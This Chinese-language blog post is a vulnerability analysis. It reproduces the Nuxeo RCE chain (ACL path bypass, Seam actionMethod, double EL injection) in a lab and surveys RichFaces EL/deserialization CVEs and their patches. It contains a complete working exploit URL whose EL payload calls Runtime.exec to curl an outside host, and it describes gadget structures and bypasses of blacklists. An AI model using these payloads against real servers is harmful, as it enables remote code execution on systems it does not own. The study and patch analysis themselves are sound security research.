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Nuxeo RCE漏洞分析

说明

Nuxeo RCE的分析是来源于Orange的这篇文章How I Chained 4 Bugs(Features?) into RCE on Amazon Collaboration System,中文版见围观orange大佬在Amazon内部协作系统上实现RCE。在Orange的这篇文章虽然对整个漏洞进行了说明,但是如果没有实际调试过整个漏洞,看了文章之后始终还是难以理解,体会不深。由于Nuxeo已经将源码托管在Github上面,就决定自行搭建一个Nuxeo系统复现整个漏洞。

环境搭建

整个环节最麻烦就是环境搭建部分。由于对整个系统不熟,踩了很多的坑。

源码搭建

由于Github上面有系统的源码,考虑直接下载Nuxeo的源码搭建环境。当Nuxeo导入到IDEA中,发现有10多个模块,导入完毕之后也没有找到程序的入口点。折腾了半天,也没有运行起来。

考虑到之后整个系统中还涉及到了NuxeoJBoss-SeamTomcat,那么我就必须手动地解决这三者之间的部署问题。但在网络上也没有找到这三者之间的共同运行的方式。对整个三个组件的使用也不熟,搭建源码的方式也只能夭折了。

Docker远程调试

之后同学私信了orange调试方法之后,得知是直接使用的docker+Eclipse Remote Debug远程调试的方式。因为我们直接从Docker下载的Nuxeo系统是可以直接运行的,所以利用远程调试的方式是可以解决环境这个问题。漏洞的版本是在Nuxeo的分支8上面。整个搭建步骤如下:

  1. 拉取分支。从Docker上面拉取8的分支版本,docker pull nuxeo:8
  2. 开启调试。修改/opt/nuxeo/server/bin/nuxeo.conf文件,关闭#JAVA_OPTS=$JAVA_OPTS -Xdebug -Xrunjdwp:transport=dt_socket,address=8787,server=y,suspend=n这行注释,开始远程调试。
  3. 安装模块。进入到/opt/nuxeo/server目录下运行./bin/nuxeoctl mp-install nuxeo-jsf-ui(这个组件和我们之后的漏洞利用有关)
  4. 导出源代码。由于需要远程调试,所以需要将Docker中的源代码导出来。从Docker中到处源代码到宿主机中也简单。

    1. 进入到Docker容器中,将/opt/nuxeo/server下的文件全部打包
    2. 从Docker中导出上一步打包的文件到宿主机中。
  5. Daemon的方式运行Docker环境。
  6. 用IDEA直接导入server/nxserver/nuxeo.war程序,这个war包程序就是一个完整的系统了,之后导入系统需要的jar包。jar来源包括server/binserver/libserver/nxserver/bundlesserver/nxserver/lib。如果导入的war程序没有报错没有显示缺少jar包那就说明我们导入成功了。
  7. 开启IDEA对Docker的远程调试。进入到Run/Edit Configurations/配置如下:

2018-08-20-1.jpg

8.导入程序源码。由于我们需要对nuxeojboss-seam相关的包进行调试,就需要导入jar包的源代码。相对应的我们需要导入的jar包包括:apache-tomcat-7.0.69-srcnuxeo-8.10-SNAPSHOTjboss-seam-2-3-1的源代码。

至此,我们的整个漏洞环境搭建完毕。

漏洞调试

路径规范化错误导致ACL绕过

ACL是Access Control List的缩写,中文意味访问控制列表。nuxeo中存在NuxeoAuthenticationFilter对访问的页面进行权限校验,这也是目前常见的开发方式。这个漏洞的本质原理是在于由于在nuxeo中会对不规范的路径进行规范化,这样会导致绕过nuxeo的权限校验。

正如orange所说,Nuxeo使用自定义的身份验证过滤器NuxeoAuthenticationFilter并映射/*。在WEB-INF/web.xml中存在对NuxeoAuthenticationFilter的配置。部分如下:

...
<filter-mapping>
    <filter-name>NuxeoAuthenticationFilter
      </filter-name>
    <url-pattern>/oauthGrant.jsp</url-pattern>
    <dispatcher>REQUEST</dispatcher>
    <dispatcher>FORWARD</dispatcher>
</filter-mapping>
<filter-mapping>
    <filter-name>NuxeoAuthenticationFilter
      </filter-name>
    <url-pattern>/oauth/*</url-pattern>
    <dispatcher>REQUEST</dispatcher>
    <dispatcher>FORWARD</dispatcher>
</filter-mapping>
...

但是我们发现login.jsp并没有使用NuxeoAuthenticationFilter过滤器(想想这也是情理之中,登录页面一般都不需要要权限校验)。而这个也是我们后面的漏洞的入口点。

分析org.nuxeo.ecm.platform.ui.web.auth.NuxeoAuthenticationFilter::bypassAuth()中的对权限的校验。

protected boolean bypassAuth(HttpServletRequest httpRequest) {
...
    try {
        unAuthenticatedURLPrefixLock.readLock().lock();
        String requestPage = getRequestedPage(httpRequest);
        for (String prefix : unAuthenticatedURLPrefix) {
            if (requestPage.startsWith(prefix)) {
                return true;
            }
        }
    }
....

解读如orange所说:

从上面可以看出来,bypassAuth检索当前请求的页面,与unAuthenticatedURLPrefix进行比较。 但bypassAuth如何检索当前请求的页面? Nuxeo编写了一个从HttpServletRequest.RequestURI中提取请求页面的方法,第一个问题出现在这里!

追踪进入到

protected static String getRequestedPage(HttpServletRequest httpRequest) {
    String requestURI = httpRequest.getRequestURI();
    String context = httpRequest.getContextPath() + '/';
    String requestedPage = requestURI.substring(context.length());
    int i = requestedPage.indexOf(';');
    return i == -1 ? requestedPage : requestedPage.substring(0, i);
}

getRequestedPage()对路径的处理很简单。如果路径中含有;,会去掉;后面所有的字符。以上都直指Nuxeo对于路径的处理,但是Nuxeo后面还有Web服务器,而不同的Web服务器对于路径的处理可能也不相同。正如Orange所说

每个Web服务器都有自己的实现。 Nuxeo的方式在WildFly,JBoss和WebLogic等容器中可能是安全的。 但它在Tomcat下就不行了! 因此getRequestedPage方法和Servlet容器之间的区别会导致安全问题!

根据截断方式,我们可以伪造一个与ACL中的白名单匹配但是到达Servlet中未授权区域的请求!

借用Orange的PPT中的一张图来进行说明:

2018-08-20-2.jpg

我们进行如下的测试:

  1. 访问一个需要进行权限认证的URL,oauth2Grant.jsp最终的结果是出现了302

2018-08-20-3.jpg

  1. 我们访问需要畸形URL,http://172.17.0.2:8080/nuxeo/login.jsp;/..;/oauth2Grant.jsp,结果出现了500

2018-08-20-4.jpg

出现了500的原因是在于进入到tomcat之后,因为servlet逻辑无法获得有效的用户信息,因此它会抛出Java NullPointerException,但是http://172.17.0.2:8080/nuxeo/login.jsp;/..;/oauth2Grant.jsp已经绕过ACL了。

Tomcat的路径的规范化的处理

这一步其实如果我们知道了tomcat对于路径的处理就可以了,这一步不必分析。但是既然出现了这个漏洞,就顺势分析一波tomcat的源码。

根据网络上的对于tomcat的解析URL的源码分析,解析Tomcat内部结构和请求过程和[Servlet容器Tomcat中web.xml中url-pattern的配置详解[附带源码分析]](https://www.cnblogs.com/fangjian0423/p/servletContainer-tomcat-urlPattern.html)。tomcat对路径的URL的处理的过程是:

2018-08-20-5.png

tomcat中存在Connecter和Container,Connector最重要的功能就是接收连接请求然后分配线程让Container来处理这个请求。四个自容器组件构成,分别是Engine、Host、Context、Wrapper。这四个组件是负责关系,存在包含关系。会以此向下解析,也就是说。如果tomcat收到一个请求,交由Container去设置HostContext以及wrapper。这几个组件的作用如下:

2018-08-20-6.jpg

我们首先分析org.apache.catalina.connector.CoyoteAdapter::postParseRequest()中对URL的处理,

  1. 经过了postParseRequest()中的convertURI(decodedURI, request);之后,会在req对象中增加decodedUriMB字段,值为/nuxeo/oauth2Grant.jsp

2018-08-20-7.jpg

  1. 解析完decodedUriMB之后,connector对相关的属性进行设置:

    connector.getMapper().map(serverName, decodedURI, version,request.getMappingData());
    request.setContext((Context) request.getMappingData().context);
    request.setWrapper((Wrapper) request.getMappingData().wrapper);
  2. 之后进入到org.apache.tomcat.util.http.mapper.Mapper中的internalMapWrapper()函数中选择对应的mapper(mapper就对应着处理的serlvet)。在这个internalMapWrapper()中会对mappingData中所有的属性进行设置,其中也包括wrapperPath。而wrapperPath就是用于之后获得getServletPath()的地址。

2018-08-20-9.jpg

  1. 最后进入到org.apache.jasper.servlet.JspServlet::service()处理URL。整个函数的代码如下:

    public void service (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        ...
        jspUri = request.getServletPath();
        String pathInfo = request.getPathInfo();
        if (pathInfo != null) {
            jspUri += pathInfo;
        }
    
        try {
            boolean precompile = preCompile(request);
            serviceJspFile(request, response, jspUri, precompile);
        } catch (RuntimeException e) {
            throw e;
        } catch (ServletException e) {
            throw e;
        }
        ...
    }

在函数内部通过jspUri = request.getServletPath();来获得URL。最终通过层层调用的分析,是在org.apache.catalina.connector.Request::getServletPath()中的获得的。

public String getServletPath() {
    return (mappingData.wrapperPath.toString());
}

得到的结果就是/oauth2Grant.jsp.

最后程序运行serviceJspFile(request, response, jspUri, precompile);,运行oauth2Grant.jsp对应的servlet。由于没有进过权限认证,直接访问了oauth2Grant.jsp,导致servlet无法获取用户的认证信息,结果报错了。

2018-08-20-10.jpg

这也是我们之前访问http://172.17.0.2:8080/nuxeo/login.jsp;/..;/oauth2Grant.jsp出现了500 java.lang.NullPointerException的原因。

代码重用功能导致部分EL调用

由于NuxeoTomcat对于路径解析不一致的问题,目前我就可以访问任意的servlet。现在的问题是我们需要访问一个去访问未经认证的Seam servlet去触发漏洞。如Orange所说:

actionMethod是一个特殊的参数,可以从查询字符串中调用特定的JBoss EL(Expression Language)

actionMethod的触发是由org.jboss.seam.navigation.Pages::callAction处理。如下:

private static boolean callAction(FacesContext facesContext) {
    //TODO: refactor with Pages.instance().callAction()!!
    boolean result = false;
    String actionId = facesContext.getExternalContext().getRequestParameterMap().get("actionMethod");
    if (actionId!=null)
    {
    String decodedActionId = URLDecoder.decode(actionId);
    if (decodedActionId != null && (decodedActionId.indexOf('#') >= 0 || decodedActionId.indexOf('{') >= 0) ){
        throw new IllegalArgumentException("EL expressions are not allowed in actionMethod parameter");
    }
    if ( !SafeActions.instance().isActionSafe(actionId) ) return result;
    String expression = SafeActions.toAction(actionId);
    result = true;
    MethodExpression actionExpression = Expressions.instance().createMethodExpression(expression);
    outcome = toString( actionExpression.invoke() );
    fromAction = expression;
    handleOutcome(facesContext, outcome, fromAction);
    }    
    return result;
}

其中actionId就是actionMethod参数的内容。callAction整体功能很简单,从actionId中检测出来expression(即EL表达式),之后利用actionExpression.invoke()执行表达式,最终通过handleOutcome()输出表达式的结果,问题是在于handleOutcome()也能够执行EL表达式。但是actionMethod也不可能让你随意地执行EL表达式,在方法中还存在一些安全检查。包括SafeActions.instance().isActionSafe(actionId)。跟踪进入到org.jboss.seam.navigation.SafeActions::isActionSafe():

public boolean isActionSafe(String id){
    if ( safeActions.contains(id) ) return true;
    int loc = id.indexOf(':');
    if (loc<0) throw new IllegalArgumentException("Invalid action method " + id);
    String viewId = id.substring(0, loc);
    String action = "\"#{" + id.substring(loc+1) + "}\"";
    // adding slash as it otherwise won't find a page viewId by getResource*
    InputStream is = FacesContext.getCurrentInstance().getExternalContext().getResourceAsStream("/" +viewId);
    if (is==null) throw new IllegalStateException("Unable to read view " + "/" + viewId + " to execute action " + action);
    BufferedReader reader = new BufferedReader( new InputStreamReader(is) );
    try {
        while ( reader.ready() ) {
            if ( reader.readLine().contains(action) ) {
                addSafeAction(id);
                return true;
            }
        }
        return false;
    }
// catch exception
}

:作为分隔符对id进行分割得到viewIdaction,其中viewId就是一个存在的页面,而action就是EL表达式。reader.readLine().contains(action)这行代码的含义就是在viewId页面中必须存在action表达式。我们以一个具体的例子来进行说明。login.xhtml为例进行说明,这个页面刚好存在<td><h:inputText name="j_username" value="#{userDTO.username}" /></td>表达式。以上的分析就说明了为什么需要满足orange的三个条件了。

  1. actionMethod的值必须是一对,例如:FILENAME:EL_CODE
  2. FILENAME部分必须是context-root下的真实文件
  3. 文件FILENAME必须包含内容“#{EL_CODE}”(双引号是必需的)

例如这样的URL:http://172.17.0.2:8080/nuxeo/login.jsp;/..;/create_file.xhtml?actionMethod=login.xhtml:userDTO.username。其中login.xhtml:userDTO.username满足了第一个要求;login.xhtml是真实存在的,满足了第二个要求;"#{userDTO.username}"满足了第三个要求。

双重评估导致EL注入

看起来是非常安全的。因为这样就限制了只能执行在页面中的EL表达式,无法执行攻击者自定义的表达式,而页面中的EL表达式一般都是由开发者开发不会存在诸如RCE的这种漏洞。但是这一切都是基于理想的情况下。但是之前分析就说过在callAction()中最终还会调用handleOutcome(facesContext, outcome, fromAction)对EL执行的结果进行应一步地处理,如果EL的执行结果是一个表达式则handleOutcome()会继续执行这个表达式,即双重的EL表达式会导致EL注入。

我们对handleOutcome()的函数执行流程进行分析:

  1. org.jboss.seam.navigation.Pages::callAction()中执行handleOutcome():
  2. org.jboss.seam.navigation.Pages:handleOutcome()中。
  3. org.nuxeo.ecm.platform.ui.web.rest.FancyNavigationHandler::handleNavigation()
  4. org.jboss.seam.jsf.SeamNavigationHandler::handleNavigation()
  5. org.jboss.seam.core.Interpolator::interpolate()
  6. org.jboss.seam.core.Interpolator::interpolateExpressions()中,以Object value = Expressions.instance().createValueExpression(expression).getValue();的方式执行了EL表达式。

问题的关键是在于找到一个xhtml供我们能够执行双重EL。根据orange的文章,找到widgets/suggest_add_new_directory_entry_iframe.xhtml。如下:

  <nxu:set var="directoryNameForPopup"
    value="#{request.getParameter('directoryNameForPopup')}"
    cache="true">
....

其中存在#{request.getParameter('directoryNameForPopup')}一个EL表达式,用于获取到directoryNameForPopup参数的内容(这个就是第一次的EL表达式了)。那么如果directoryNameForPopup的参数也是EL表达式,这样就会达到双重EL表达式的注入效果了。

至此整个漏洞的攻击链已经完成了。

双重EL评估导致RCE

需要注意的是在Seam2.3.1中存在一个反序列化的黑名单,具体位于org/jboss/seam/blacklist.properties中,内容如下:

.getClass(
.class.
.addRole(
.getPassword(
.removeRole(
session['class']

黑名单导致无法通过"".getClass().forName("java.lang.Runtime")的方式获得反序列化的对象。但是可以利用数组的方式绕过这个黑名单的检测,""["class"].forName("java.lang.Runtime")。绕过了这个黑名单检测之后,那么我们就可以利用""["class"].forName("java.lang.Runtime")这种方式范反序列化得到java.lang.Runtime类进而执行RCE了。我们重新梳理一下整个漏洞的攻击链:

  1. 利用nuxeo中的bypassAuth的路径规范化绕过NuxeoAuthenticationFilter的权限校验;
  2. 利用Tomcat对路径的处理,访问任意的servlet;
  3. 利用jboss-seam中的callAction使我们可以调用actionMethod。利用actionMethod利用调用任意xhtml文件中的EL表达式;
  4. 利用actionMethod我们利用调用widgets/suggest_add_new_directory_entry_iframe.xhtml,并且可以控制其中的参数;
  5. 控制suggest_add_new_directory_entry_iframe中的request.getParameter('directoryNameForPopup')中的directoryNameForPopup参数,为RCE的EL表达式的payload;
  6. org.jboss.seam.navigation.Pages::callAction执行双重EL,最终造成RCE;

我们最终的Payload是:

http://172.17.0.2:8080/nuxeo/login.jsp;/..;/create_file.xhtml?actionMethod=widgets/suggest_add_new_directory_entry_iframe.xhtml:request.getParameter('directoryNameForPopup')&directoryNameForPopup=/?key=#{''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'curl 172.17.0.1:9898')}

其中172.17.0.1是我宿主机的IP地址,''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7]得到的就是exec(java.lang.String)''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15]得到的就是getRuntime(),最终成功地RCE了。

2018-08-20-11.jpg

修复

Nxueo的修复

Nuxeo出现的漏洞的原因是在于ACL的绕过以及与tomcat的路径规范化的操作不一致的问题。这个问题已经在NXP-24645: fix detection of request page for login中修复了。修复方式是:

2018-08-20-12.jpg

现在通过httpRequest.getServletPath();获取的路径和tomcat保持一致,这样ACL就无法被绕过同时有也不会出现于tomcat路径规范化不一致的问题;

seam的修复

Seam的修复有两处,NXP-24606: improve Seam EL blacklistNXP-24604: don't evalue EL from user input
blacklist中增加了黑名单:

2018-08-20-13.jpg

包括.forName(,这样无法通过.forName(进行反序列化了。

修改了callAction()中的方法处理,如下:

2018-08-20-14.jpg

修改之后的callAction()没有进行任何的处理直接返回false不执行任何的EL表达式。

总结

通篇写下来发现自己写和Orange的那篇文章并没有很大的差别,但是通过自己手动地调试一番还是有非常大的收获的。这个漏洞的供给链的构造确实非常的精巧。

  1. 充分利用了Nuxeo的ACL的绕过,与Tomcat对URL规范化的差异性导致了我们的任意的servlet的访问。
  2. 利用了seam中的actionMethod使得我们可以指向任意xhtml中的任意EL表达式。
  3. 利用了callAction()中对于EL表达式的处理执行了双重EL表达式。

RirchFaces反序列化漏洞

JSF介绍

JavaServer Faces(JSF)是一个为网络应用程序构建基于组件的用户界面的Java规范[1],并已通过JCP格式化为Java EE的一部分。

它也是一个MVC Web应用框架,通过在页面中使用可重用的UI组件简化了基于服务器的应用程序的用户界面(UI)。

JSF implementations: Mojarra/Myfaces(javax.faces-api/ jsf-impl+jsf-api / myfaces-impl+myfaces-api)

EL interfaces (javax.el-api /tomcat-jasper-el)

EL implementations: Jasper/Jboss (tomcat-jasper-el/ jasper-el / jboss-el)

Richfaces的安全历史安全问题都出现在资源处理程序处理请求方式上,执行流程如下:

获取处理过程相关的类,比如从URI中获取X,并且从参数do获取X的序列化状态对象

  1. 反序列化状态对象
  2. 创建X的一个实例并恢复其状态
  3. 处理X并产生匹配的响应(图像、视频、表格等)

RichFaces 3

3.1.0 ≤ 3.3.3: CVE-2013-2165

3.1.0 ≤ 3.3.4: RF-14310

RichFaces 4

4.0.0 ≤ 4.3.2: CVE-2013-2165

4.0.0 ≤ 4.5.4: CVE-2015-0279

4.5.3 ≤ 4.5.17: RF-14309

CVE-2013-2165: Arbitrary Java Deserializationin RichFaces 3.x ≤ 3.3.3 and 4.x ≤ 4.3.2

漏洞分析以及Exp

https://tint0.com/matesctf-2018-wutfaces-cve-2013-2165/

CVE-2015-0279: Arbitrary EL Evaluation inRichFaces 4.x ≤ 4.5.3 (RF-13977)

漏洞触发

/richfaces-showcase/rfRes/org.richfaces.resource.MediaOutputResource.jsf?do=

Exp见https://issues.jboss.org/browse/RF-13977

RF-14310: Arbitrary EL Evaluation inRichFaces 3.x ≤ 3.3.4

漏洞触发

org.richfaces.renderkit.html.Paint2DResource/DATA/

跟漏洞CVE-2015-0279/RF-13799类似,问题出现在org.richfaces.renderkit.html.Paint2DResource

这个类,当一个资源请求被调用,会调用他的send(ResourceContext)方法

传递的参数是org.richfaces.renderkit.html.Paint2DResource$ImageData对象,如图:

640_meitu_1.jpg

TagMethodExpression类的orig属性中包含el表达式,我们在构造poc的时候需要将恶意的的el表到时set进去。

漏洞利用的思路就是需要构造一个恶意ImageData对象里面包含我们自动定义的el表达式,el表达式可以是远程加载一个jar,也可以也写文件、反弹shell等

附一张利用成功的截图

640 (1).jpg

RF-14309: Arbitrary EL Evaluation inRichFaces 4.5.3 ≤ 4.5.17 NO CVE By pass CVE-2015-0279

CVE-2015-0279的补丁禁增加了contentProducer来处理特殊符号([^\\(]*)以缓解表达式注入问题。

640 (2).jpg

但是EL表达式支持定义函数映射和变量映射, 可以通过ELResolver解决函数(${prefix:name()})和变量(${var.property})映射到方法和表达式value的实例,richface 4.5.3版本中各种VariableMapper已经然如白名单中。所以利用这个特性,只需要在contentProducer方法表达式中使用变量,如$ {dummy.toString},并在方法表达式中添对应的VariableMapper,最终会映射到具体的ValueExpression

具体利用在RF13977基础上修改下:

640 (3).jpg

CVE-2018-12532

漏洞是在RF-14309基础上变形的payload稳定性更好。

Gadget的结构

Ljava.lang.Object[5]
 [0] = (java.lang.Boolean) false
 [3] = (javax.faces.component.StateHolderSaver)
   savedState = (org.apache.el.MethodExpressionImpl)
     expr = (java.lang.String) "foo.toString"
     varMapper =(org.apache.el.lang.VariableMapperImpl)
       vars = (Ljava.util.HashMap)
        {(java.lang.String)"foo":(java.lang.String)[EL_TO_INJECT]}

利用如下payload未能执行命令

EL表达式执行的三个限制:

  1. 限制1 EL总是会调用Class.getMethods()数组中名字相匹配的第一个方法,其他重载方法不会调用。
  2. 限制2 Jasper’s EL 的实现(tomcat-jasper-el) 7.0.53 to
    8.0.25的一个bug导致不能通过反射调用无参方法。
  3. 限制3只有Jasper的EL实现支持将参数列表隐式转换为args。其他的实现(例如jboss-el)args需要一个数组作为参数,所以需要构造一个数组。

最终的payload:

640 (4)_meitu_2.jpg

总结

需要对漏洞组件和java的些特性非常熟悉才能找到更多的绕过方式。